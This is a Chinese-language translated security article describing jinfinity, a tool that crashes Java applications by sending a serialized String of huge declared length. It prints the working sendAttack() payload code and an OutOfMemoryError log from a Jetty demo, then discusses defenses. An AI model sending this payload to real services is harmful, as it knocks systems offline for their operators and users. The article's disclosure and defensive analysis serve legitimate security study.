Jinfinity:Java反序列化DDoS工具
伴隨著很多關于 Java 反序列化漏洞的討論,本文分享的是一款開源 DDoS 工具,你可以下載并使用它讓目標耗盡所有的內存處理反序列對象,最終造成拒絕服務。這款工具名為 jinfinity。jinfinity 像許多解析器一樣利用反序列化遵循讀取直到結束的模式。同時,jinfinity 可以完全繞過現有的對于反序列化的保護。
問題
代碼 ObjectInputStream.java#readObject()
在處理特定反序列化類型時會像處理空指針、代理類和其他一些對象一樣將其作為一個特例。其中一個特例是 Strings,這也是我們所感興趣的。在 JVM 中,代碼讀取 String 直接調用方法 BlockDataInputStream#readUTF()
。
下面是重點:當大多數對象進行反序列化操作時, ObjectInputStream#resolveClass()
方法都是其中的一部分。這個方法也是最近所有補丁和加固措施用來對付反序列化漏洞利用的。但是這個方法從來都不包含反序列化的字符串,任何人都可以利用它來攻擊已經打過反序列化漏洞補丁的應用。
利用
下面是我們所關心的部分:這絕對沒有什么特殊的地方。我們只是發送了一個包含非常非常大字符串的序列化流,這時 Java 字符串允許的最大長度就會產生問題,因為字符串是由字符(char)數組組成的,不能有超過(2^31-1)個字符,大概4GB大小。另外如果你的堆更小那這個最大長度也會更小。這在 序列化規范 中有說明,因為你只能指定協議中(2^63-1)的長度。而 JVM 并沒有確定這個值,并且它很樂意嘗試讀取一個大于規定最大長度的值。我懷疑它是使用了 long 類型以支持未來可能產生的巨大字符串。
不管怎樣,這種處理新建字符串的方法是有問題的。其使用 StringBuilder,這可能是正確的工具但是使用效率卻很低下。StringBuilder 是由字符數組組成的,當你增加字符超過當前數組大小時,會申請創建一個更大的數組并丟棄原先數組。每次調整大小都會增加內存的開銷,直到丟棄的字符數字被回收。
這意味著:如果使用 StringBuilder,當需要獲取近似大小的數組時,需要不斷的調整增大數組長度。即使代碼本身只是輸入預計的大小,它也不會試圖初始化 StringBuilder 的大小:
private String readUTFBody(long utflen) throws IOException { StringBuilder sbuf = new StringBuilder(); }
很多人認為這樣做是沒問題的,因為輸入是由用戶確定的。但是代碼卻執行讀取了一個沒有經過驗證的數據,也就是我們信任這個輸入數據。那為什么不能初始化 StringBuilder 長度?因為如果初始化失敗,它可能會像攻擊請求一樣請求非常多的堆,并且會被立即銷毀。所以如今的選擇是:慢慢的填滿堆,并在之后讓其爆炸造成大量傷害。
代碼
核心代碼如下:
public void sendAttack(final OutputStream os, final long payloadSize) throws IOException { /* * Write the magic number to indicate this is a serialized Java Object * and the protocol version. */ os.write(0xAC); os.write(0xED); os.write(0); // don't need the high bits set for the version os.write(STREAM_VERSION); /* * Tell them it's a String of a certain size. */ if(payloadSize <= 0xFFFF) { os.write(TC_STRING); os.write((int)payloadSize >>> 8); os.write((int)payloadSize); } else { os.write(TC_LONGSTRING); os.write((int)(payloadSize >>> 56)); os.write((int)(payloadSize >>> 48)); os.write((int)(payloadSize >>> 40)); os.write((int)(payloadSize >>> 32)); os.write((int)(payloadSize >>> 24)); os.write((int)(payloadSize >>> 16)); os.write((int)(payloadSize >>> 8)); os.write((int)(payloadSize >>> 0)); } try { for(long i=0;i<payloadSize;i++) { os.write((byte)'B'); } } catch(IOException e) { System.err.println("[!] Possible success. Couldn't communicate with host."); }}
為了驗證這種攻擊的可能,我搭建了一個簡單的 Jetty,其會將 HTTP 請求進行反序列化。下面就是我使用 jinfinity 的效果:
當填滿堆后,應用就開始遭受拒絕服務攻擊了:
2015-11-24 21:51:25.732:WARN:oejs.ServletHandler:Error for /ds/read java.lang.OutOfMemoryError: Java heap space at java.lang.AbstractStringBuilder.expandCapacity(AbstractStringBuilder.java:99) at java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:518) at java.lang.StringBuffer.append(StringBuffer.java:307) at java.io.ObjectInputStream$BlockDataInputStream.readUTFSpan(ObjectInputStream.java:3044) at java.io.ObjectInputStream$BlockDataInputStream.readUTFBody(ObjectInputStream.java:2952) at java.io.ObjectInputStream$BlockDataInputStream.readLongUTF(ObjectInputStream.java:2935) at java.io.ObjectInputStream.readString(ObjectInputStream.java:1570) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1295) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:347) at com.contrastsecurity.jinfinity.demo.DemoServlet.doPost(MessageServlet.java:20)
報出 OutOfMemoryError 錯誤真的是相當糟糕的。因為出現這種錯誤后,不僅僅解析器無法正常工作,還會影響到處理合法流量或處理合法請求的其他線程無法在創建新的對象。這時系統運行速度會變得非常慢,會開始出現一些奇怪的報錯,而且數據處理變的非常緊張。這也就是為什么很多人在遇到這種情況時會立即中止運行 JVM。
總結
即使應用中沒有包含序列化的代碼,也很容易遭受這種事情。想象假如服務器上有一個 JSON 終端。典型的模式會是解析收到的 JSON 對象,查詢請求的數據,如果不是想要的結構就直接銷毀。對象的反序列化遵循相同的模式,強制輸入到一個 Java 對象中,如果類型不對會銷毀掉。在這兩種情況下,可以提供一個永無止境的數據流,永遠不提供輸入的中止字符。
在 JSON 和序列化方案中,都沒有進行檢查,像“為什么要反序列化1000個嵌套對象”或者“為什么這個 JSON map 有1000個鍵值?”。在我們改進之前,這種攻擊會一直繼續下去。我們需要將進程放入沙盒運行。我們使用沙盒處理序列化進程是通過其大小或對象計數等等,但我們需要重新從防御者的角度來思考這些APIs。
那為什么我們沒有到處看到這種攻擊呢?最可能是因為攻擊者沒必要使用這種攻擊。攻擊者不需要這種使用返回libc直到沒有可用堆棧的攻擊。慢速的 POST 攻擊依舊有效而且消耗很少的帶寬。基于網絡流量的 DDoS 攻擊也依舊有效。還有其他很多不錯的攻擊選擇,攻擊者沒必要太在意我們這種小眾的技術。
jinfinity 項目的代碼和文檔包括一個 demo 都可以在 github 上面找到。
*原文: contrastsecurity ,FB小編xiaix編譯,轉自須注明來自FreeBuf黑客與極客(FreeBuf.COM)
來自: http://www.freebuf.com/articles/93387.html